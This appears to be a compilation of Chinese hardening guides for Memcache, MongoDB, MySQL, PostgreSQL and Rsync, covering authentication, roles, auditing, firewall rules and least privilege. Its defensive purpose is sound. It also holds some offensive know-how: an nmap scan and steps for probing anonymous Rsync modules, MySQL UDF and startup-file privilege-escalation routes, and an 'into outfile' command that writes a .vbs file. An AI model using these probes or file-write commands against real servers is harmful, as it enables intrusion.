防火墙是简单有效的方式,如果却是两台服务器都是挂在网的,并且需要通过外网IP来访问Memcache的话,那么可以考虑使用防火墙或者代理程序来过滤非法访问。 一般我们在Linux下可以使用iptables或者FreeBSD下的ipfw来指定一些规则防止一些非法的访问,比如我们可以设置只允许我们的Web服务器来访问我们Memcache服务器,同时阻止其他的访问。
iptables -F iptables -P INPUT DROP iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT iptables -A INPUT -p udp -s 192.168.0.2 --dport 11211 -j ACCEPT
上面的iptables规则就是只允许192.168.0.2这台Web服务器对Memcache服务器的访问,能够有效的阻止一些非法访问,相应的也可以增加一些其他的规则来加强安全性,这个可以根据自己的需要来做

0x00 MongoDB权限介绍

1.MongoDB安装时不添加任何参数,默认是没有权限验证的,登录的用户可以对数据库任意操作而且可以远程访问数据库,需以
--auth
参数启动。 2.在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息。当
admin.system.users
一个用户都没有时,即使mongod启动时添加了
--auth
参数,如果没有在admin数据库中添加用户,此时
不进行任何认证
还是可以做任何操作(不管是否是以--auth 参数启动),直到在admin.system.users中添加了一个用户。 3.MongoDB的访问分为连接和权限验证,即使以--auth参数启动还是可以不使用用户名连接数据库,但是不会有任何的权限进行任何操作 4.admin数据库中的用户名可以管理所有数据库,其他数据库中的用户只能管理其所在的数据库。 5.在2.4之前版本中,用户的权限分为只读和拥有所有权限;2.4版本的权限管理主要分为:数据库的操作权限、数据库用户的管理权限、集群的管理权限,建议由超级用户在admin数据库中管理这些用户。不过依然兼容2.4版本之前的用户管理方法。

0x01 MongoDB中用户的角色说明

1. read角色 数据库的只读权限,包括:

aggregate,checkShardingIndex,cloneCollectionAsCapped,collStats,count,dataSize,dbHash,dbStats,distinct,filemd5,mapReduce (inline output only.),text (beta feature.)geoNear,geoSearch,geoWalk,group

2. readWrite角色 数据库的读写权限,包括: read角色的所有权限

cloneCollection (as the target database.),convertToCapped,create (and to create collections implicitly.),renameCollection (within the same database.)findAndModify,mapReduce (output to a collection.) drop(),dropIndexes,emptycapped,ensureIndex()

3. dbAdmin角色 数据库的管理权限,包括:

clean,collMod,collStats,compact,convertToCappe create,db.createCollection(),dbStats,drop(),dropIndexes ensureIndex(),indexStats,profile,reIndex renameCollection (within a single database.),validate

4. userAdmin角色

数据库的用户管理权限

5. clusterAdmin角色 集群管理权限(副本集、分片、主从等相关管理),包括:

addShard,closeAllDatabases,connPoolStats,connPoolSync,_cpuProfilerStart_cpuProfilerStop,cursorInfo,diagLogging,dropDatabase shardingState,shutdown,splitChunk,splitVector,split,top,touchresync serverStatus,setParameter,setShardVersion,shardCollection replSetMaintenance,replSetReconfig,replSetStepDown,replSetSyncFrom repairDatabase,replSetFreeze,replSetGetStatus,replSetInitiate logRotate,moveChunk,movePrimary,netstat,removeShard,unsetSharding hostInfo,db.currentOp(),db.killOp(),listDatabases,listShardsgetCmdLineOpts,getLog,getParameter,getShardMap,getShardVersion enableSharding,flushRouterConfig,fsync,db.fsyncUnlock()

6. readAnyDatabase角色

任何数据库的只读权限(和read相似)

7. readWriteAnyDatabase角色

任何数据库的读写权限(和readWrite相似)

8. userAdminAnyDatabase角色

任何数据库用户的管理权限(和userAdmin相似)

9. dbAdminAnyDatabase角色

任何数据库的管理权限(dbAdmin相似)

0x02 MongoDB安装注意事项


1. 安装的时候需要加
--auth
加了--auth之后MongoDB才需要验证 2. 需要加
--nohttpinterface
不加会有一个
28017
的端口监听,可以通过网页管理
mongodb
,不需要请去掉 3. 可以加
--bind_ip
加之后可以限制访问的ip 4. 可以加
--port
加了之后可以重新制定端口,默认为
27017
5. 安装完之后需立即在admin数据库中添加一个用户 只有在admin数据库中添加一个用户后才能使认证生效 注:安装的过程其实就是添加1个服务,指定启动时候的参数。

0x03 用户授权

1. 2.4之前版本的用户管理方式 1.1、进入admin创建一个管理账号
use admin db.addUser("test","test")
1.2、进入需要使用的数据库中创建一个程序使用用户
use test db.addUser("test","test")默认拥有读写权限 db.addUser("test","test",True)拥有读取权限
2. 2.4版本的用户管理,也可使用之前版本的方式 2.1、进入
admin
创建一个管理账号
use admin db.addUser("test","test")
2.2、进入admin给使用的数据库test创建一个对数据库及日志拥有读写权限的账户
use admin db.addUser({ "user": "test", "pwd": "test", "roles":
, "otherDBRoles": { "test":
, "test_log":
} })

0x04 安全配置方案

1. 安装的时候加--auth,并立即在admin数据库创建一个用户

默认情况下MongoDB是无需验证的,所以这是至关重要的一步

2. 可以考虑安装的时候修改端口和指定访问ip

具体根据实际情况来设定,也可以直接在服务器防火墙上做

3. 安装的时候建议加上--nohttpinterface取消默认的一个网页管理方式

默认的web管理一般不会用,且很多人不知道,最好关闭

4. 管理用户处理

因需要在admin中建立一个管理账户用于管理,最好是设置强密码,但是不要给其他程序使用

5. MongoDB服务运行账户

windows下可以使用network service 或者新建一个用户,使用默认的USERS组,然后添加给予数据库文件及日志存储目录的写权限,并建议取消对cmd等程序的执行权限。 linux下新建一个账户,给予程序的执行权限和数据库文件及日志目录的读写权限,并建议取消对sh等程序的执行权限。

6. 控制好网站或者其他程序使用的连接用户权限

网站或者其他程序使用的用户只给予对应库的权限,不要使用admin数据库中的管理账户。

0x05 常用命令

1. 安装
mongod --dbpath d:\mongodb\data --logpath d:\mongodb\log\mongodb.log ----nohttpinterface --auth --install
2. 添加用户
use admin db.addUser("test","test")
3. 显示所有数据库
show dbs
4. 使用某个数据库
use test
5. 连接数据库
mongo test -uroot -p123456
6. 添加用户认证
db.auth("username","password")
7. 查看用户
db.system.users.find()
就写几个基本的,其他的网上很多,或者用工具连上去之后操作。

0x06 管理工具

1. MongoVUE 客户端形式的管理工具 2. rockmongo 基于php的web管理 不足之处求大牛指正!

0x00 MySQL和PostgreSQL安全配置

针对开源数据库MySQL和PostgreSQL的安全配置主要主要通过身份鉴别、访问控制、安全审计、入侵防范、资源控制五个方面来实现。

0x01 身份鉴别

MySQL和PostgreSQL均可以实现身份鉴别功能。通过设置数据库基本上能够实现能够满足《信息系统安全等级保护基本要求》第三级身份鉴别中大部分要求,但是对于“f 项应采用两种或两种以上组合的鉴别技术对管理用户进行身份鉴别”,需要使用第三方的身份鉴别技术,如:口令、数字证书、生物特征等2。
(一)、MySQL数据库
MySQL数据库在安装后默认存在mysql数据库,该数据库为系统表所在的数据库,所有用户记录在mysql数据库的user三个权限表的用户列(包括host、user、password三个字段)。 1)对于身份认证MySQL是通过IP地址和用户名进行联合确认的,也就是说“
用户名@IP
”用来身份认证的唯一标识; 2)安全配置时尽量避免采用默认的用户名root,建议对默认用户名进行重命名,这样增加鉴别信息被猜测的难度;
mysql> update mysql.user set user ='madman' where user='root'; --将root重命名为madman
3)mysql数据库默认无法实现密码更改周期和密码复杂度要求,需要管理员定期更改口令的复杂度,可以通过如下命令设置密码;
mysql>update mysql.user set password=password("12ere@123SWE!@") where User="root" and host="localhost"; --设置密码复杂度 mysql>FLUSH PRIVILEGES; --刷新权限表
除了密码认证外,MySQL还支持UNIX域套接字,可以在配置文件中指定套接字文件的路径,如—
socket=/tmp/mysql.sock
,当数据库启动后可以使用UNIX套接字的方式进行认证。 4)针对MySQL5以后的版本建议禁止使用
old_password
参数,
--old-passwords
选项的目的是当服务器生成长密码哈希值时,允许你维持同4.1之前的客户端的向后兼容性。在MySQL4.1版本以后建议禁止使用该参数。 5)MySQL数据库也支持SSL远程登录,如果采用本地管理方式则不需要考虑远程连接安全,如果采用远程管理则需要SSL支持。
mysql>SHOW VARIABLES LIKE '%have\_ssl%'; --查看是否支持ssl的连接特性,若为disabled,说明此功能没有激活。
6)确保所有的身份鉴别的密码具有较强的密码复杂度。 最后,MySQL数据库本身不支持登录次数限制,无法实现针对用户的锁定,具有登录的连接超时设置。
(二)、PostgreSQL数据库
PostgreSQL 支持丰富的认证方法:信任认证、口令认证、PAM认证等多种认证方式。PostgreSQL 默认配置只监听本地端口,无法通过远程TCP/IP连接数据库。需要修改
postgresql.conf
中的
listen_address
字段修改监听端口,使其支持远程访问。例如
listen\_addresses = '*'
表示监听所有端口。 线上重要数据库禁止使用trust方式进行认证,必须使用md5方式。 重命名数据库超级管理员账户为
pgsqlsuper
,此帐号由DBA负责人保管,禁止共用; 配置数据库客户端支持SSL连接的配置。客户端认证是由一个配置文件控制的,存放在数据库集群的数据目录里
。 用openssl生成密钥对,创建一个自签名的服务器密匙(server.key)和证书(server.crt); 数据库的配置主要通过两个配置文件pg_hba.conf和postgresql.conf来实现; 开启TCP/IP连接:将
postgresql.conf
参数
tcpip_socket
设置为true; 开启SSL:将
postgresql.conf
参数
ssl
设置为true; 强制局域网内的所有主机以任何PostgreSQL中存在的用户通过TCP+SSL的方式连接到PostgreSQL; 在
pg_hba.conf
文件中增加记录:
hostssl all all 192.168.54.1/32 md5
。 postgresql中还可以通过pg_user系统表的valuntil字段实现用户口令失效的时间(只用于口令认证)。

0x02 访问控制

MySQL和PostgreSQL均可以实现访问控制功能。
(一)、MySQL数据库
MySQL权限系统通过两个阶段进行权限认证: 对连接的用户进行身份认证,合法的用户通过认证,不合法的用户拒绝连接; 对通过认证的合法用户赋予相应的权限,用户可以在这些权限范围内对数据库做相应的操作。MySQL中主要权限存储在MySQL系统库的user、host、db三个系统表中。这三个表中包括权限列,其中权限列包括普通权限和管理权限。普通权限主要用于数据库的操作,比如
select_priv

create_priv
等;而管理权限主要用来对数据库进行管理的操作,比如
process_priv

super_priv
等。表1说明了mysql权限系统表 当用户进行连接的时候,权限表的存取过程有以下两个阶段。 先从user表中的
host

user

password
这三个字段中判断连接的IP、用户名和密码是否存在于表中,如果存在,则通过身份验证,否则拒绝连接。 如果通过身份验证,则按照以权限表的顺序得到数据库权限:
userdbtable_privcolumns_priv
,即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。这几个权限表中,权限范围一次递减,全局权限覆盖局部权限。 通过上述介绍,可知在配置权限时需要根据数据库业务使用的情况配置合理的权限。 1)尽量最小化权限的配置,可以通过如下命令查看权限。
mysql> select * from mysql.user\G --检查用户权限列 mysql> select * from mysql.db\G --检查数据库权限列 mysql> select * from mysql.tables_priv\G --检查用户表权限列 mysql> select * from mysql.columns_priv\G --检查列权限列
2)业务系统在使用时,也可以通过视图控制对基础表的访问; 3)通过合理的权限配置进行访问控制外,还需要将DBA管理和应用账号严格分离,不同应用单独账号,删除数据库相关的历史操作记录,避免信息泄露。 4)对于MySQL数据库自身不具备强制访问控制(MAC),强制访问控制(MAC)是系统强制主体服从访问控制策略。与自主访问控制(DAC)基于系统实现身份认证及其到系统资源的介入授权方式,共同保证用户的权限。
a、创建系统表:为了实现可定制强制访问控制,需定义用户的强制访问权限管理表,系统需要对MySQL原有的数据字典进行改造
,增加系统表。 b、修改用户认证逻辑 在
sql_acl.cc
中修改用户验证逻辑,检查强制访问权限管理表,是否符合用户认证要求。

(二)、PostgreSQL数据库
PostgreSQL将所有的数据库对象都存放在系统表空间,所有的系统表都以pg开头。PostgreSQL采用基于角色的访问控制机制,通过角色机制,简化了用户和权限的关联性。PostgreSQL系统中的权限分为两种:系统权限和对象权限。 系统权限是指系统规定用户使用数据库的权限(如连接数据库、创建数据库、创建用户等),系统角色属性有LOGIN、PASSWORD、SUPERUSER、CREATEDB、CREATEROLE、INHERIT等。 对象权限是指在表、序列、函数等数据库对象上执行特殊动作的权限,其权限类型有select、insert、update、delete、references、trigger、create、connect、temporary、execute和usage等。 有关角色属性信息可以在系统表pg_authid中找到。另外pg_roles是系统表pg_authid公开课度部分的视图。系统表
pa_auth_members
存储了角色之间的成员关系 1)根据最小权限要求给用户配置角色和权限。
postgres=# select * from pg\_authid; --查看用户具有的角色
为了保护数据安全,当用户对某个数据库对象进行操作之前,必须检查用户在对象上的操作权限。访问控制列表(ACL)是对象权限管理和权限检查的基础,在PostgreSQL通过操作ACL实现对象的访问控制管理。所有表的基本定义保存在系统表
pg_class
中,除了包括表,视图、序列和索引(与其他许多系统不同,PG的索引也被视作一个类,事实上索引项无论在逻辑组成还是物理结构上都类似一个表的元组。)等对象的基本定义外,它的relacl属性中为每个对象维护一个ACL
。Relacl是PostgreSQL支持的数组属性,该数组成员是抽象的数据类型
aclitem
。这些aclitem作为对象访问控制权限的ACE(ACL是存储控制箱(Access Control Entruy,ACE)的集合,每个ACL实际上是一个由多个aclitem构成的链表,ACE由数据库对象和权限列表构成,记录着可访问兑现的用户或者执行单元(进程、存储过程等))共同组成对象的ACL。 图1:ACL权限信息。 2)根据系统提示可以查看对象的ACL列表,已确定用户对对象的访问权限。
postgres=# \dp pg_roles; --\dp 后接表名或视图名查看对象权限
3) 通过合理的权限配置进行访问控制外,还需要将DBA管理和应用账号严格分离,不同应用单独账号,删除数据库相关的历史操作记录,避免信息泄露。 4)对postgresql进行源代码修改以实现强制访问控制(MAC),SQL语句在经过DDL与DML处理时,需要进行MAC检查,通过检查的数据才能输出给用户,否则只能返回错误信息

0x03 安全审计

商业数据库均有安全审计功能,通过相关配置,能够对系统的重要事件进行安全审计目前MySQL数据库具有基本的日志功能,通过日志数据挖掘可以实现安全审计功能,但其实现起来较为复杂。PostgreSQL具备了良好的审计功能。 (一)、MySQL数据库 MySQL日志主要包含:错误日志、查询日志、慢查询日志、二进制日志等,日志主要功能如下:

错误日志:错误日志主要为了实现数据库排错。默认情况下错误日志大概记录以下几个方面的信息:服务器启动和关闭过程中的信息、服务器运行过程中的错误信息等跟系统错误有关的日志。 查询日志:查询日志主要为了实现数据库调试。由于查询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会影响mysql的性能的。 慢查询日志:慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。 二进制日志:二进制日志也叫更新日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。

通过上述描述可以看出,对于MySQL来说可以通过日志分析来实现数据库审计功能,但是这样的工作量对DBA来说比较繁琐,也不利于集中控制数据库产生的安全审计记录。MySQL企业级已经实现了针对MySQL的安全审计功能,但开源MySQL数据库没有实现安全审计功能。要实现MySQL数据库的安全审计功能,需要对MySQL源代码进行修改,目前已经有成熟的插件来实现MySQL数据库审计功能。 1)MySQL审计插件:MariaDB数据库管理系统是MySQL的一个分支,其server_audit审计插件能工作在mariadb、mysql和percona server,通过安装审计插件来实现MySQL的审计功能。 a、安装审计插件,将
server_audit.so
文件拷贝到MySQL/MariaDB 下的 lib/plugin 目录,并通过如下命令激活该插件:
#!bash mysql> INSTALL PLUGIN server_audit SONAME 'server_audit.so';
b、修改mysql配置文件
my.cnf
的审计参数
server_audit =FORCE_PLUS_PERMANENT server_audit_events ='CONNECT,QUERY,TABLE' server_audit_logging =ON server_audit_incl_users =root server_audit_file_rotate_size = 1G server_audit_file_path = /usr/local/mysql/mysql_logs/auditlog/server_audit.log
c、查看审计配置参数,可以通过下面的命令查询审计参数配置情况。
#!bash mysql> SHOW global VARIABLES LIKE '%audit%'; p2
表1:PostgreSQL数据库安全审计配置参数 配置参数 参数说明
server_audit_logging 启动或关闭审计 server_audit_events 指定记录事件的类型,可以用逗号分隔的多个值(connect,query,table),如果开启了查询缓存(query cache),查询直接从查询缓存返回数据,将没有table记录 server_audit_file_rotate_size 限制日志文件的大小 server_audit_file_rotations 指定日志文件的数量,如果为0日志将从不轮转 server_audit_incl_users 指定哪些用户的活动将记录,connect将不受此变量影响,该变量比server_audit_excl_users优先级高
2)通过设置严格的访问控制权限确保审计日志的安全性。 3)通过对审计日志的格式等进行分析实现审计报表的输出。
(二)、PostgreSQL数据库
审计是值记录用户的登录退出以及登录后在数据库里的行为操作,可以根据安全等级不一样设置不一样级别的审计。默认需设置具有如下的安全配置参数: 表2:PostgreSQL数据库安全审计配置参数 配置参数 参数说明
logging_collector 是否开启日志收集开关,默认off,开启要重启DB log_destination 日志记录类型,默认是stderr,只记录错误输出 log_directory 日志路径,默认是$PGDATA/pg_log log_filename 日志名称,默认是postgresql-%Y-%m-%d_%H%M%S.log log_connections 用户session登陆时是否写入日志,默认off log_disconnections 用户session退出时是否写入日志,默认off log_rotation_age 保留单个文件的最大时长,默认是1d log_rotation_size 保留单个文件的最大尺寸,默认是10MB
PostgreSQL日志里分成了3类,通过参数pg_statement来控制,默认的pg_statement参数值是none,即不记录,可以设置ddl(记录create,drop和alter)、mod(记录ddl+insert,delete,update和truncate)和all(mod+select)。
1)配置
logging_collector

pg_statement

log_connections

log_disconnections
参数,确保登录连接、退出连接和用户DDL、DML等行为能被记录; 2)配置日志文件名称、大小、保留周期等满足相关要求; 3)确保所有的审计记录的权限满足操作系统的权限要求。

0x04 入侵防范

针对数据库的安全防范主要体现在数据库补丁更新,特定函数的使用等方面。
(一)、MySQL数据库
严格控制操作系统账号和权限 锁定mysql用户不能登录; 其他任何用户都采用独立的账号登录,管理员通过mysql专有用户管理MySQL,或者通过su到mysql用户下进行管理。 mysql用户目录下,除了数据文件目录,其他文件和目录属主都改为root。 删除匿名账号; 不要把
file

process

super
权限授予管理员以外的账号; 进制load data local文件读取操作的使用,避免读取操作系统的重要文件到数据库表中; 在已有的生产库上建议进制使用
safe-user-create
参数的使用,避免用户使用
grant
语句创建新用户; 及时更新MySQL安全补丁。
(二)、PostgreSQL数据库
严格控制操作系统的账号和权限,确保启动进程具有最小的权限; 严格控制数据库安装目录的权限,除了数据文件目录,其他文件和目录属主都改为root。 及时更新数据库bug和安全补丁。

0x05 资源控制

资源控制主要保证数据库的资源不被非法的占用。
(一)、MySQL数据库
MySQL中主要权限存储在MySQL系统库的user系统表的资源列中可以控制用户连接数、最大请求数、最大更新数、最大连接等信息。但最大用户连接数为较长用的资源控制项,其他选项需更具数据的使用情况进行安全配置。
MAX_QUERIES_PER_HOUR 用来限制用户每小时运行的查询数量 MAX_UPDATES_PER_HOUR 用来限制用户每小时的修改数据库数据的数量。 MAX_CONNECTIONS_PER_HOUR用来控制用户每小时打开新连接的数量。 MAX_USER_CONNECTIONS 限制有多少用户连接MYSQL服务器。
针对每个用户限制
MAX_USER_CONNECTIONS
参数,即限制用户最大连接数。 针对每个用户限制其来源地址限制,即每个用户仅允许唯一的IP地址访问,必要时禁止远程连接mysql ,设置
skip-networking
参数。
(二)、PostgreSQL数据库
PostgreSQL对于资源限制主要体现在用户最大并发连接数的限制上。具体可以进行如下安全配置。
1. postgresql数据库可以进行严格的地址限制,确保用户来源可信。 2. 配置用户最大并发连接数量。postgres=# select * from pg_authid;#查看限制其最大并发连接数量 3. postgresql具有默认的连接超时策略。

0x06 参考文献


【1】 《关于应用安全可控信息技术加强银行业网络安全和信息化建设的指导意见》
.http://www.cbrc.gov.cn/govView_EE29BABB27EB4E51A4343517691438F9.html 【2】 邱梓华,宋好好,张笑笑,顾健,主机安全等级保护配置指南
.信息网络安全,2011年增刊,112~113 【3】 杨玉杰,韩昧华,王永刚,PostgreSQL的安全数据传输
,聊城大学学报(自然科学版),第23卷第1期,89~90 【4】 吴飞林,王晓艳,郎波,基于MySQL的可定制强制访问控制的研究与实现
.计算机应用研究,第24卷第11期,119 【5】 张孝,PostgreSQL中基于ACL的数据访问控制技术
,计算机应用和软件,第24卷第9期,68 【6】 刘欣,沈昌祥,基于PostgreSQL的强制访问控制的实现
,计算机工程,第32卷第2期,50

0x01 前言

很多文章中会说,数据库的权限按最小权限为原则,这句话本身没有错,但是却是一句空话。因为最小权限,这个东西太抽象,很多时候你并弄不清楚具体他需要哪些权限。 现在很多mysql用着root账户在操作,并不是大家不知道用root权限太大不安全,而是很多人并不知道该给予什么样的权限既安全又能保证正常运行。所以,本文更多的是考虑这种情况下,我们该如何简单的配置一个安全的mysql。注:本文测试环境为mysql-5.6.4

0x02 Mysql权限介绍

mysql中存在4个控制权限的表,分别为
user
表,
db
表,
tables_priv
表,
columns_priv
表。 mysql权限表的验证过程为: 1. 先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。 2. 通过身份认证后,进行权限分配,按照
user

db

tables_priv

columns_priv
的顺序进行验证。即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

0x03 mysql有哪些权限


权限|权限级别|权限说明 CREATE|数据库、表或索引|创建数据库、表或索引权限 DROP|数据库或表|删除数据库或表权限 GRANT OPTION|数据库、表或保存的程序|赋予权限选项 REFERENCES|数据库或表| ALTER|表|更改表,比如添加字段、索引等 DELETE|表|删除数据权限 INDEX|表|索引权限 INSERT|表|插入权限 SELECT|表|查询权限 UPDATE|表|更新权限 CREATE VIEW|视图|创建视图权限 SHOW VIEW|视图|查看视图权限 ALTER ROUTINE|存储过程|更改存储过程权限 CREATE ROUTINE|存储过程|创建存储过程权限 EXECUTE|存储过程|执行存储过程权限 FILE|服务器主机上的文件访问|文件访问权限 CREATE TEMPORARY TABLES|服务器管理|创建临时表权限 LOCK TABLES|服务器管理|锁表权限 CREATE USER服务器管理|创建用户权限| PROCESS|服务器管理|查看进程权限 RELOAD|服务器管理|执行flush-hosts, flush-logs, flush-privileges, flush-status, flush-tables, flush-threads, refresh, reload等命令的权限 REPLICATION CLIENT|服务器管理|复制权限 REPLICATION SLAVE|服务器管理|复制权限 SHOW DATABASES|服务器管理|查看数据库权限 SHUTDOWN|服务器管理|关闭数据库权限 SUPER|服务器管理|执行kill线程权限

0x04 数据库层面(db表)的权限分析


权限|说明|网站使用账户是否给予 Select|可对其下所有表进行查询|建议给予 Insert|可对其下所有表进行插入|建议给予 Update|可对其下所有表进行更新|建议给予 Delete|可对其下所有表进行删除|建议给予 Create|可在此数据库下创建表或者索引|建议给予 Drop|可删除此数据库,及此数据库下的表|不建议给予 Grant|赋予权限选项|不建议给予 References|未来MySQL特性的占位符|不建议给予 Index|可对其下的所有表进行索引|建议给予 Alter|可对其下的所有表进行更改|建议给予 Create_tmp_table|创建临时表|不建议给予 Lock_tables|可对其下所有表进行锁定|不建议给予 Create_view|可在此数据下创建视图|建议给予 Show_view|可在此数据下查看视图|建议给予 Create_routine|可在此数据下创建存储过程|不建议给予 Alter_routine|可在此数据下更改存储过程|不建议给予 Execute|可在此数据下执行存储过程|不建议给予 Event|可在此数据下创建事件调度器|不建议给予 Trigger|可在此数据下创建触发器|不建议给予

0x05 mysql安全配置方案


1 限制访问mysql端口的ip windows可以通过windows防火墙或者ipsec来限制,linux下可以通过iptables来限制。 2 修改mysql的端口 windows下可以修改配置文件my.ini来实现,linux可以修改配置文件my.cnf来实现。 3 对所有用户设置强密码并严格指定对应账号的访问ip mysql中可在user表中指定用户的访问可访问ip 4 root特权账号的处理 建议给root账号设置强密码,并指定只容许本地登录 5 日志的处理 如需要可开启查询日志,查询日志会记录登录和查询语句。 6 mysql进程运行账号 在windows下禁止使用local system来运行mysql账户,可以考虑使用network service或者自己新建一个账号,但是必须给与mysql程序所在目录的读取权限和data目录的读取和写入权限; 在linux下,新建一个mysql账号,并在安装的时候就指定mysql以mysql账户来运行,给与程序所在目录的读取权限,data所在目录的读取和写入权限。 7 mysql运行账号的磁盘权限 1)mysql运行账号需要给予程序所在目录的读取权限,以及data目录的读取和写入权限 2)不容许给予其他目录的写入和执行权限,特别是有网站的。 3)取消mysql运行账户对于cmd,sh等一些程序的执行权限。 8 网站使用的mysql账户的处理 新建一个账户,给予账户在所使用数据库的所有权限即可。这样既能保证网站对所对应的数据库的全部操作,也能保证账户不会因为权限过高而影响安全。给予单个数据库的所有权限的账户不会拥有super, process, file等管理权限的。 当然,如果能很明确是的知道,我的网站需要哪些权限,还是不要多给权限,因为很多时候发布者并不知道网站需要哪些权限,我才建议上面的配置。而且我指的通用的,具体到只有几台机器,不多的情况下,我个人建议还是给予只需要的权限,具体可参考上面的表格的建议。 9 删除无用数据库 test数据库对新建的账户默认有权限

0x06 mysql入侵提权分析及防止措施

一般来说,mysql的提权有这么几种方式: 1 udf提权

此方式的关键导入一个dll文件,个人认为只要合理控制了进程账户对目录的写入权限即可防止被导入dll文件;然后如果万一被攻破,此时只要进程账户的权限够低,也没办执行高危操作,如添加账户等。

2 写入启动文件

这种方式同上,还是要合理控制进程账户对目录的写入权限。

3 当root账户被泄露

如果没有合理管理root账户导致root账户被入侵,此时数据库信息肯定是没办法保证了。但是如果对进程账户的权限控制住,以及其对磁盘的权限控制,服务器还是能够保证不被沦陷的。

4 普通账户泄露(上述所说的,只对某个库有所有权限的账户)

此处说的普通账户指网站使用的账户,我给的一个比较方便的建议是直接给予特定库的所有权限。账户泄露包括存在注入及web服务器被入侵后直接拿到数据库账户密码。 此时,对应的那个数据库数据不保,但是不会威胁到其他数据库。而且这里的普通账户无file权限,所有不能导出文件到磁盘,当然此时还是会对进程的账户的权限严格控制。 普通账户给予什么样的权限可以见上表,实在不会就直接给予一个库的所有权限。

0x07 安全配置需要的常用命令

1.新建一个用户并给予相应数据库的权限
grant select,insert,update,delete,create,drop privileges on database.* to user@localhost identified by 'passwd'; grant all privileges on database.* to user@localhost identified by 'passwd';
2.刷新权限
flush privileges;
3. 显示授权
show grants;
4. 移除授权
revoke delete on *.* from 'jack'@'localhost';
5. 删除用户
drop user 'jack'@'localhost';
6. 给用户改名
rename user 'jack'@'%' to 'jim'@'%';
7. 给用户改密码
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('123456');
8. 删除数据库
drop database test;
9. 从数据库导出文件
select * from a into outfile "d:\abc.vbs"

0x00 Rsync简介

Rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。 rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法,而且可以通过ssh方式来传输文件,这样其保密性也非常好,另外它还是免费的软件。 rsync 包括如下的一些特性:
能更新整个目录和树和文件系统; 有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等; 对于安装来说,无任何特殊权限要求; 对于多个文件来说,内部流水线减少文件等待的延时; 能用rsh、ssh 或直接端口做为传输入端口; 支持匿名rsync 同步文件,是理想的镜像工具;

0x01 架设Rsync服务器

安装Rsync与xinetd包
$ yum -y install xinetd rsync
确保xinetd运行在levels 3或4或5。
$ chkconfig --level 345 xinetd on
修改rsync xinetd配置文件,把disable = yes改成disable = no
$ vi /etc/xinetd.d/rsync
创建rsync的密码文件,格式
username:password

$ vi /etc/rsyncd.secrets
创建rsync共享配置文件
$ vi /etc/rsyncd.conf
添加如下内容:
secrets file = /etc/rsyncd.secrets #密码文件位置,认证文件设置,设置用户名和密码 #motd file = /etc/rsyncd.motd #欢迎信息文件名称和存放位置(此文件没有,可以自行添加) read only = no # yes只读 值为NO意思为可读可写模式,数据恢复用NO list = yes uid = nobody #以什么身份运行rsync gid = nobody
#模块名 comment = Welcome #欢迎信息 path = /home/rsync/out #rsync同步的路径 auth users = rsync #授权帐号,认证的用户名,如果没有这行则表明是匿名,多个用户用,分隔。 hosts allow = X.X.X.X #允许访问的IP auth users = username #/etc/rsyncd.secrets中的用户名
还有很多参数没有使用。
http://www.samba.org/ftp/rsync/rsyncd.conf.html
里详细解释了rsyncd.conf各个参数的意思。 修改权限与所有权,重启xinetd服务:
$ chown root.root /etc/rsyncd.* $ chmod 600 /etc/rsyncd.* $ service xinetd restart
然后就可以通过如下命令访问了:
下载文件: ./rsync -vzrtopg --progress --delete username@xxx.xxx.xxx.xxx::out /home/test/getfile 上传文件: /usr/bin/rsync -vzrtopg --progress /home/test/getfile username@xxx.xxx.xxx.xxx::out
Rsync 同步参数说明
- -vzrtopg里的v是verbose,z是压缩,r是recursive,topg都是保持文件原有属性如属主、时间的参数。 --progress是指显示出详细的进度情况 --delete参数会把原有getfile目录下的文件删除以保持客户端和服务器端文件系统完全一致

username@xxx.xxx.xxx.xxx中的username是指定密码文件中的用户名,xxx为ip地址 out是指在rsyncd.conf里定义的模块名 /home/test/getfile 是指本地要备份目录 如果不想每次都再输入一次密码可以使用--password-file参数


/usr/bin/rsync -vzrtopg --progress /home/test/getfile username@xxx.xxx.xxx.xxx::out --password-file=/test/rsyncd.secrets
本机上的/test/rsyncd.secrets文件里只需要保存密码即可,用户名已经在命令中有了,并且权限应为600。

0x02 匿名访问危害


wooyun出现不少没有限定任何ip并且允许匿名访问,而导致严重后果的实际案例: WooYun: 我是如何沦陷ChinaZ下载站服务器的,可登录3389、篡改源码等 WooYun: 新浪漏洞系列第三弹-微博内网遭入侵 WooYun: Discuz旗下5d6d某服务器Rsync任意文件上传

0x03 寻找匿名访问Rsync方式

Rsync默认的端口是
873
,可以使用nmap扫描哪些ip开放了
873
端口。
nmap -n --open -p 873 X.X.X.X/24
找到开放的873端口后,连接能否查看模块名:
rsync X.X.X.X::
如果可以,就尝试上传,下载文件试一下。

0x04 安全配置注意事项

注意两种方式防御,一是限定访问的IP,另一个是不允许匿名访问,添加用户口令。 限定IP的两种方式 IPTables防火墙 给rsync的端口添加一个iptables。 只希望能够从内部网络(
192.168.101.0/24
)访问:
iptables -A INPUT -i eth0 -p tcp -s 192.168.101.0/24 --dport 873 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A OUTPUT -o eth0 -p tcp --sport 873 -m state --state ESTABLISHED -j ACCEPT
除此之外
rsyncd.conf
中的
hosts allow
也可以设置只允许来源ip。
hosts allow = X.X.X.X #允许访问的IP
